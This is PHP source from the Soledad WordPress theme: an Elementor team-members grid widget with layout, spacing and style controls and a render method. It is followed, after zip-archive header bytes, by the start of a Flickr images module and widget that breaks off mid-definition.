if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciTeamMember extends Base_Widget {

	public function get_name() {
		return 'penci-team-member';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Team Members', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'team memeber' );
	}

	public function get_marker_img_el( $image, $thumbnail_size = 'thumbnail' ) {
		if ( empty( $image['url'] ) ) {
			return '';
		}
		if ( ! empty( $image['id'] ) ) {
			$attr = wp_get_attachment_image_src( $image['id'], $thumbnail_size );
			if ( isset( $attr['url'] ) && $attr['url'] ) {
				$image['url'] = $attr['url'];
			}
		}

		return $image['url'];
	}

	protected function register_controls() {


		$this->start_controls_section( 'section_temmembers', array(
			'label' => esc_html__( 'Team memebers', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$repeater = new Repeater();
		$repeater->add_control( 'image', array(
			'label'   => __( 'Choose Image', 'soledad' ),
			'type'    => Controls_Manager::MEDIA,
			'default' => array( 'url' => Utils::get_placeholder_image_src() ),
		) );
		$repeater->add_control( 'name', array(
			'label' => __( 'Name', 'soledad' ),
			'type'  => Controls_Manager::TEXT,
		) );
		$repeater->add_control( 'position', array(
			'label' => __( 'Position', 'soledad' ),
			'type'  => Controls_Manager::TEXT,
		) );
		$repeater->add_control( 'desc', array(
			'label' => __( 'Description', 'soledad' ),
			'type'  => Controls_Manager::TEXTAREA,
		) );
		$repeater->add_control( 'link_avatar', array(
			'label'       => __( 'Avatar URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );
		$repeater->add_control( 'link_website', array(
			'label'       => __( 'Website URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );
		$repeater->add_control( 'link_facebook', array(
			'label'       => __( 'Facebook URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );
		$repeater->add_control( 'link_twitter', array(
			'label'       => __( 'Twitter URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );
		$repeater->add_control( 'link_linkedin', array(
			'label'       => __( 'Linkedin URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );
		$repeater->add_control( 'link_instagram', array(
			'label'       => __( 'Instagram URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );
		$repeater->add_control( 'link_youtube', array(
			'label'       => __( 'Youtube URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );
		$repeater->add_control( 'link_vimeo', array(
			'label'       => __( 'Vimeo URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );
		$repeater->add_control( 'link_pinterest', array(
			'label'       => __( 'Pinterest URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );
		$repeater->add_control( 'link_dribbble', array(
			'label'       => __( 'Dribbble URL', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => 'https://your-link.com/',
		) );

		$this->add_control( 'teammembers', array(
			'type'        => Controls_Manager::REPEATER,
			'fields'      => $repeater->get_controls(),
			'default'     => array(
				array(
					'name'          => __( 'Team member #1', 'soledad' ),
					'desc'          => 'I am text block. Click edit button to change this text.',
					'link'          => __( 'https://your-link.com', 'soledad' ),
					'image'         => array( 'url' => Utils::get_placeholder_image_src() ),
					'link_website'  => '#',
					'link_facebook' => '#',
					'link_twitter'  => '#',
				),
				array(
					'name'          => __( 'Team member #1', 'soledad' ),
					'desc'          => 'I am text block. Click edit button to change this text.',
					'link'          => __( 'https://your-link.com', 'soledad' ),
					'image'         => array( 'url' => Utils::get_placeholder_image_src() ),
					'link_website'  => '#',
					'link_facebook' => '#',
					'link_twitter'  => '#',
				),
				array(
					'name'          => __( 'Team member #1', 'soledad' ),
					'desc'          => 'I am text block. Click edit button to change this text.',
					'link'          => __( 'https://your-link.com', 'soledad' ),
					'image'         => array( 'url' => Utils::get_placeholder_image_src() ),
					'link_website'  => '#',
					'link_facebook' => '#',
					'link_twitter'  => '#',
				)
			),
			'title_field' => '{{{ name }}}',
		) );


		$this->end_controls_section();

		$this->start_controls_section( 'section_layout', array(
			'label' => esc_html__( 'Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'style', array(
			'label'   => __( 'Choose Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 's1',
			'options' => array(
				's1' => esc_html__( 'Bordered', 'soledad' ),
				's2' => esc_html__( 'Background', 'soledad' ),
				's3' => esc_html__( 'Extended', 'soledad' ),
				's4' => esc_html__( 'Overlay Slide Up', 'soledad' ),
				's5' => esc_html__( 'Overlay', 'soledad' ),
			)
		) );
		$this->add_responsive_control( 'columns', array(
			'label'          => __( 'Columns', 'soledad' ),
			'type'           => Controls_Manager::SELECT,
			'default'        => '3',
			'tablet_default' => '2',
			'mobile_default' => '1',
			'options'        => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			)
		) );

		$this->add_group_control( Group_Control_Image_Size::get_type(), array(
			'name'      => 'penci_img',
			'default'   => 'penci-masonry-thumb',
			'separator' => 'none',
		) );

		$this->add_responsive_control( 'imageratio', array(
			'label'     => __( 'Custom Image Ratio Height/Width (%)', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-teammb-bsc .penci-teammb-img:before' => 'padding-top: {{SIZE}}%; height: auto;',
			),
		) );

		$this->add_responsive_control( 'width_img', array(
			'label'     => __( 'Custom Image Width', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'selectors' => array( '{{WRAPPER}} .penci-teammb-item .penci-teammb-img' => 'max-width: {{SIZE}}px;width: 100%; height: auto;' ),
		) );

		$this->add_responsive_control( 'imgradius', array(
			'label'      => __( 'Image Border Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-teammb-img' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array( 'style' => array( 's1', 's2', 's3' ) ),
		) );

		$this->add_control( 'titpos', array(
			'label'   => __( 'Title Position', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'default',
			'options' => array(
				'default' => __( 'Default', 'soledad' ),
				'above'   => __( 'Above Position Text', 'soledad' ),
				'below'   => __( 'Below Position Text', 'soledad' ),
			)
		) );

		$this->add_control( 'social_shape', array(
			'label'   => __( 'Social Icons Shape', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'default',
			'options' => array(
				'default' => __( 'Default', 'soledad' ),
				'circle'  => __( 'Circle', 'soledad' ),
				'square'  => __( 'Square', 'soledad' ),
				'round'   => __( 'Round', 'soledad' ),
			)
		) );

		$this->add_control( 'social_style', array(
			'label'   => __( 'Social Icons Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'default',
			'options' => array(
				'default'  => __( 'Default', 'soledad' ),
				'filled'   => __( 'Filled', 'soledad' ),
				'bordered' => __( 'Bordered', 'soledad' ),
			)
		) );

		$this->add_control( 'social_colors', array(
			'label'   => __( 'Social Icons Colors Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'default',
			'options' => array(
				'default'   => __( 'Custom Colors', 'soledad' ),
				'brandbg'   => __( 'Brands Color', 'soledad' ),
				'brandtext' => __( 'Brands Text Color', 'soledad' ),
			)
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_spacing', array(
			'label' => esc_html__( 'Elements Spacing', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_responsive_control( 'row_gap', array(
			'label'     => __( 'Member Items Rows Gap', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}}  .pencisc-grid' => 'grid-row-gap: {{SIZE}}px' ),
		) );

		$this->add_responsive_control( 'col_gap', array(
			'label'     => __( 'Member Items Columns Gap', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}}  .pencisc-grid' => 'grid-column-gap: {{SIZE}}px' ),
		) );

		$this->add_control( 'team_image_martop', array(
			'label'     => __( 'Image Bottom Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-teammb-s2 .penci-teammb-img' => 'margin-bottom: {{SIZE}}px',
				'{{WRAPPER}} .penci-teammb-s1 .penci-teammb-img' => 'margin-bottom: {{SIZE}}px',
			),
			'condition' => array( 'style' => array( 's1', 's2' ) ),
		) );

		$this->add_control( 'team_name_martop', array(
			'label'     => __( 'Name Top Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-teammb-bsc .penci-team_member_name' => 'margin-top: {{SIZE}}px',
			),
		) );

		$this->add_control( 'team_pos_martop', array(
			'label'     => __( 'Position Text Top Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-team_member_pos, {{WRAPPER}} .penci-team_member_name + .penci-team_member_pos' => 'margin-top: {{SIZE}}px' ),
		) );

		$this->add_control( 'team_desc_martop', array(
			'label'     => __( 'Description Top Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-team_member_desc' => 'margin-top: {{SIZE}}px' ),
		) );

		$this->add_responsive_control( 'social_space', array(
			'label'     => __( 'Spacing Between Icons', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-team_member_socails .penci-social-item' => 'margin-left: calc( {{SIZE}}px / 2 );margin-right: calc( {{SIZE}}px / 2 );' ),
		) );

		$this->add_control( 'team_social_martop', array(
			'label'     => __( 'Social Icons Top Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-team_member_socails' => 'margin-top: {{SIZE}}px' ),
		) );

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style_content', array(
			'label' => __( 'Team Members', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'heading_all', array(
			'label' => __( 'Team Members', 'soledad' ),
			'type'  => Controls_Manager::HEADING,
		) );

		$this->add_responsive_control( 'team_padding', array(
			'label'      => __( 'Content Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-teammb-s1 .penci-teammb-inner'    => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-teammb-s2 .penci-teammb-inner'    => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-teammb-s3 .penci-team_item__info' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array( 'style' => array( 's1', 's2', 's3' ) ),
		) );

		$this->add_control( 'team_bghcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-teammb-inner' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'team_borderhcolor', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-teammb-inner' => 'border:1px solid {{VALUE}};' ),
		) );

		$this->add_responsive_control( 'team_bdw', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-teammb-s1 .penci-teammb-inner' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-teammb-s2 .penci-teammb-inner' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array( 'style' => array( 's1', 's2' ) ),
		) );

		$this->add_control( 'heading_team_name', array(
			'label' => __( 'Name', 'soledad' ),
			'type'  => Controls_Manager::HEADING,
		) );

		$this->add_control( 'team_name_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-team_member_name' => 'color: {{VALUE}};' ),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'team_name_typo',
			'selector' => '{{WRAPPER}} .penci-team_member_name',
		) );

		$this->add_control( 'heading_team_pos', array(
			'label'     => __( 'Position', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'team_pos_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-team_member_pos' => 'color: {{VALUE}};' ),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'team_pos_typo',
			'selector' => '{{WRAPPER}} .penci-team_member_pos',
		) );

		$this->add_control( 'heading_team_desc', array(
			'label'     => __( 'Description', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'team_desc_hcolor', array(
			'label'     => __( 'Description Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-team_member_desc' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'team_desc_typo',
			'selector' => '{{WRAPPER}} .penci-team_member_desc',
		) );

		$this->add_control( 'heading_team_social', array(
			'label'     => __( 'Social Icons', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'team_social_color', array(
			'label'     => __( 'Social Icons Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-social-wrap .penci-social-item, {{WRAPPER}} .penci-social-wrap .penci-social-item i' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'team_social_hcolor', array(
			'label'     => __( 'Social Icons Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-social-wrap .penci-social-item:hover, {{WRAPPER}} .penci-social-wrap .penci-social-item:hover i' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'social_bgcolor', array(
			'label'     => __( 'Social Icons Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-social-wrap .penci-social-item i' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'social_bghcolor', array(
			'label'     => __( 'Social Icons Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-social-wrap .penci-social-item:hover i' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'social_bdcolor', array(
			'label'     => __( 'Social Icons Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-social-wrap .penci-social-item i' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'social_bdhcolor', array(
			'label'     => __( 'Social Icons Hover Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-social-wrap .penci-social-item:hover i' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_responsive_control( 'social_size', array(
			'label'     => __( 'Icons Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-social-wrap .penci-social-item i' => 'font-size: {{SIZE}}px;'
			),
		) );

		$this->add_responsive_control( 'social_width', array(
			'label'     => __( 'Social Icons Width/Height', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-teammb-bsc' => '--pcteammb-w: {{SIZE}}px;'
			),
		) );

		$this->add_responsive_control( 'social_bdw', array(
			'label'     => __( 'Social Icons Borders Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcteam-shape .penci-social-item i' => 'border-width: {{SIZE}}px;'
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		if ( ! $settings['teammembers'] ) {
			return;
		}
		$social_colorcss = '';
		$team_members    = (array) $settings['teammembers'];
		$style           = isset( $settings['style'] ) ? $settings['style'] : 's1';
		$image_size      = isset( $settings['penci_img_size'] ) ? $settings['penci_img_size'] : 'penci-masonry-thumb';
		$social_shape    = isset( $settings['social_shape'] ) ? $settings['social_shape'] : 'default';
		$social_style    = isset( $settings['social_style'] ) ? $settings['social_style'] : 'default';
		$social_colors   = isset( $settings['social_colors'] ) ? $settings['social_colors'] : 'default';
		if ( 'default' != $social_shape && 'default' == $social_style ) {
			$social_style = 'filled';
		}
		$titpos = isset( $settings['titpos'] ) ? $settings['titpos'] : 'default';
		if ( 'brandbg' == $social_colors ) {
			$social_colorcss = ' penci-social-colored';
		} else if ( 'brandtext' == $social_colors ) {
			$social_colorcss = ' penci-social-textcolored';
		}

		$css_class = 'penci-block-vc penci-teammb-bsc';
		if ( 's5' == $style ) {
			$css_class .= ' penci-teammb-s4';
		}
		$css_class     .= ' penci-teammb-' . $style;
		$css_class     .= ' pencisc-grid-' . $settings['columns'];
		$column_tablet = isset( $settings['columns_tablet'] ) ? $settings['columns_tablet'] : '2';
		$column_mobile = isset( $settings['columns_mobile'] ) ? $settings['columns_mobile'] : '1';
		$css_class     .= ' pencisc-grid-tablet-' . $column_tablet;
		$css_class     .= ' pencisc-grid-mobile-' . $column_mobile;
		if ( 'default' != $social_shape || 'default' != $social_style ) {
			$css_class .= ' pcteam-shape';
		}
		$css_class .= ' pcsc-shape-' . $social_shape;
		$css_class .= ' pcsc-st-' . $social_style;
		$title_pos = 'below';
		if ( 's1' == $style ) {
			$title_pos = 'above';
		}
		if ( 'above' == $titpos || 'below' == $titpos ) {
			$title_pos = $titpos;
		}
		?>
        <div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-block_content pencisc-grid">
				<?php
				$link_target = 'target="_blank"';

				if ( ! get_theme_mod( 'penci_dis_noopener' ) ) {
					$link_target .= ' rel="noopener"';
				}
				foreach ( (array) $team_members as $item ) {

					$name_item     = isset( $item['name'] ) ? $item['name'] : '';
					$desc_item     = isset( $item['desc'] ) ? $item['desc'] : '';
					$position_item = isset( $item['position'] ) ? $item['position'] : '';

					$link_avatar_item    = isset( $item['link_website'] ) ? $item['link_avatar'] : '';
					$link_website_item   = isset( $item['link_website'] ) ? $item['link_website'] : '';
					$link_facebook_item  = isset( $item['link_facebook'] ) ? $item['link_facebook'] : '';
					$link_twitter_item   = isset( $item['link_twitter'] ) ? $item['link_twitter'] : '';
					$link_linkedin_item  = isset( $item['link_linkedin'] ) ? $item['link_linkedin'] : '';
					$link_instagram_item = isset( $item['link_instagram'] ) ? $item['link_instagram'] : '';
					$link_dribbble_item  = isset( $item['link_dribbble'] ) ? $item['link_dribbble'] : '';

					$link_youtube_item   = isset( $item['link_youtube'] ) ? $item['link_youtube'] : '';
					$link_vimeo_item     = isset( $item['link_vimeo'] ) ? $item['link_vimeo'] : '';
					$link_pinterest_item = isset( $item['link_pinterest'] ) ? $item['link_pinterest'] : '';
					$image_id            = isset( $item['image']['id'] ) ? $item['image']['id'] : '';
					$url_img_item        = Utils::get_placeholder_image_src();
					if ( $image_id ) {
						$url_img_item_array = wp_get_attachment_image_src( $image_id, $image_size );
						if ( isset( $url_img_item_array[0] ) && $url_img_item_array[0] ) {
							$url_img_item = $url_img_item_array[0];
						} else {
							$url_img_item = $item['image']['url'];
						}
					}
					?>
                    <div class="penci-teammb-item pencisc-grid-item">
                        <div class="penci-teammb-inner">
							<?php
							if ( $url_img_item ) {

								$link_before = $link_after = 'span';

								if ( $link_avatar_item ) {
									$link_before = 'a target="_blank" href="' . esc_url( $link_avatar_item ) . '"';
									$link_after  = 'a';
								}

								echo '<' . $link_before . ' '.penci_layout_bg( $url_img_item ).' class="penci-image-holder penci-teammb-img '.penci_layout_bg_class().'">' . penci_layout_img( $url_img_item ) . '</' . $link_after . '>';

							}
							?>
                            <div class="penci-team_item__info">
								<?php if ( $position_item && ( 'below' == $title_pos ) ): ?>
                                    <div class="penci-team_member_pos"><?php echo $position_item; ?></div>
								<?php endif; ?>
								<?php if ( $name_item ): ?>
                                    <h5 class="penci-team_member_name"><?php echo $name_item; ?></h5>
								<?php endif; ?>
								<?php if ( $position_item && ( 'above' == $title_pos ) ): ?>
                                    <div class="penci-team_member_pos"><?php echo $position_item; ?></div>
								<?php endif; ?>
								<?php if ( $desc_item ): ?>
                                    <div class="penci-team_member_desc"><?php echo $desc_item; ?></div>
								<?php endif; ?>
                                <div class="penci-team_member_socails penci-social-wrap<?php echo $social_colorcss; ?>">
									<?php if ( $link_website_item ): ?>
                                        <a <?php echo $link_target ?>class="penci-social-item penci-social-item website"
                                           href="<?php echo esc_url( $link_website_item ); ?>"><?php penci_fawesome_icon( 'fas fa-globe' ); ?></a>
									<?php endif; ?>
									<?php if ( $link_facebook_item ): ?>
                                        <a <?php echo $link_target ?>
                                                class="penci-social-item penci-social-item facebook-f"
                                                href="<?php echo esc_url( $link_facebook_item ); ?>"><?php penci_fawesome_icon( 'fab fa-facebook-f' ); ?></a>
									<?php endif; ?>
									<?php if ( $link_twitter_item ): ?>
                                        <a <?php echo $link_target ?>class="penci-social-item penci-social-item twitter"
                                           href="<?php echo esc_url( $link_twitter_item ); ?>"><?php penci_fawesome_icon( 'penciicon-x-twitter' ); ?></a>
									<?php endif; ?>

									<?php if ( $link_linkedin_item ): ?>
                                        <a <?php echo $link_target ?>
                                                class="penci-social-item penci-social-item linkedin"
                                                href="<?php echo esc_url( $link_linkedin_item ); ?>"><?php penci_fawesome_icon( 'fab fa-linkedin-in' ); ?></a>
									<?php endif; ?>
									<?php if ( $link_instagram_item ): ?>
                                        <a <?php echo $link_target ?>
                                                class="penci-social-item penci-social-item instagram"
                                                href="<?php echo esc_url( $link_instagram_item ); ?>"><?php penci_fawesome_icon( 'fab fa-instagram' ); ?></a>
									<?php endif; ?>
									<?php if ( $link_youtube_item ): ?>
                                        <a <?php echo $link_target ?>class="penci-social-item penci-social-item youtube"
                                           href="<?php echo esc_url( $link_youtube_item ); ?>"><?php penci_fawesome_icon( 'fab fa-youtube' ); ?></a>
									<?php endif; ?>
									<?php if ( $link_vimeo_item ): ?>
                                        <a <?php echo $link_target ?> class="penci-social-item penci-social-item vimeo"
                                                                      href="<?php echo esc_url( $link_vimeo_item ); ?>"><?php penci_fawesome_icon( 'fab fa-vimeo-v' ); ?></a>
									<?php endif; ?>
									<?php if ( $link_pinterest_item ): ?>
                                        <a <?php echo $link_target ?>
                                                class="penci-social-item penci-social-item pinterest"
                                                href="<?php echo esc_url( $link_pinterest_item ); ?>"><?php penci_fawesome_icon( 'fab fa-pinterest' ); ?></a>
									<?php endif; ?>
									<?php if ( $link_dribbble_item ): ?>
                                        <a <?php echo $link_target ?>
                                                class="penci-social-item penci-social-item dribbble"
                                                href="<?php echo esc_url( $link_dribbble_item ); ?>"><?php penci_fawesome_icon( 'fab fa-dribbble' ); ?></a>
									<?php endif; ?>
                                </div>
                            </div>
                        </div>
                    </div>
					<?php
				}
				?>
            </div>
        </div>
		<?php
	}
}
PK     1w\]A    )  elementor/modules/penci-flickr/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciFlickr;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-flickr';
	}

	public function get_widgets() {
		return array( 'PenciFlickr' );
	}
}
PK     1w\IN    7  elementor/modules/penci-flickr/widgets/penci-flickr.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciFlickr\Widgets;

use Elementor\Controls_Manager;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciFlickr extends Base_Widget {

	public function get_name() {
		return 'penci-flickr';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Flickr Images', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-image';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'flickr', 'social', 'embed', 'image' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section(
			'section_instagram', array(
				'label' => esc_html__( 'Flickr Options', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'username', array(
				'label'       => __( 'Flickr ID', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'description' => __( 'The username ID follows this format: 12341234@N12. You can visit <a target="_blank" href="https://idgettr.com">idgettr.com</a> to convert the username into an ID.', 'soledad' ),
			)
		);

		$this->add_control(
			'images_number', array(
				'label'     => __( 'Number of images to show', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => 9,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'refresh_hour', array(
				'label'       => __( 'Check for new images every', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => 5,
				'description' => __( 'Unix is hour(s)', 'soledad' ),
			)
		);
		$this->add_control(
			'template', array(
				'label'   => __( 'Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'thumbs',
				'options' => array(
					'thumbs-no-border' => esc_html__( 'Thumbnails - Without Border', 'soledad' ),
					'thumbs'           => esc_html__( 'Thumbnails', 'soledad' ),
					'slider'           => esc_html__( 'Slider - Normal', 'soledad' ),
					'slider-overlay'   => esc_html__( 'Slider - Overlay Text', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'image_size', array(
				'label'   => __( 'Image Size', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'jr_insta_square',
				'options' => array(
					'jr_insta_square' => esc_html__( 'Small - Without Border', 'soledad' ),
					'medium'          => esc_html__( 'Medium', 'soledad' ),
					'full'            => esc_html__( 'Large', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'columns', array(
				'label'     => __( 'Number of Columns', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '3',
				'options'   => array(
					'1'  => '1',
					'2'  => '2',
					'3'  => '3',
					'4'  => '4',
					'5'  => '5',
					'6'  => '6',
					'7'  => '7',
					'8'  => '8',
					'9'  => '9',
					'10' => '10',
				),
				'condition' => array( 'template' => array( 'thumbs-no-border', 'thumbs' ) ),
			)
		);
		$this->add_control(
			'orderby', array(
				'label'   => __( 'Order by', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'rand',
				'options' => array(
					'date-ASC'     => __( 'Date - Ascending', 'soledad' ),
					'date-DESC'    => __( 'Date - Descending', 'soledad' ),
					'popular-ASC'  => __( 'Popularity - Ascending', 'soledad' ),
					'popular-DESC' => __( 'Popularity - Descending', 'soledad' ),
					'rand'         => __( 'Random', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'images_link', array(
				'label'   => __( 'On click action', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'image_url',
				'options' => array(
					''           => __( 'None', 'soledad' ),
					'image_url'  => __( 'Flickr Image', 'soledad' ),
					'user_url'   => __( 'Flickr Profile', 'soledad' ),
					'attachment' => __( 'Attachment Page', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'description', array(
				'label'       => __( 'Slider Text Description', 'soledad' ),
				'label_block' => true,
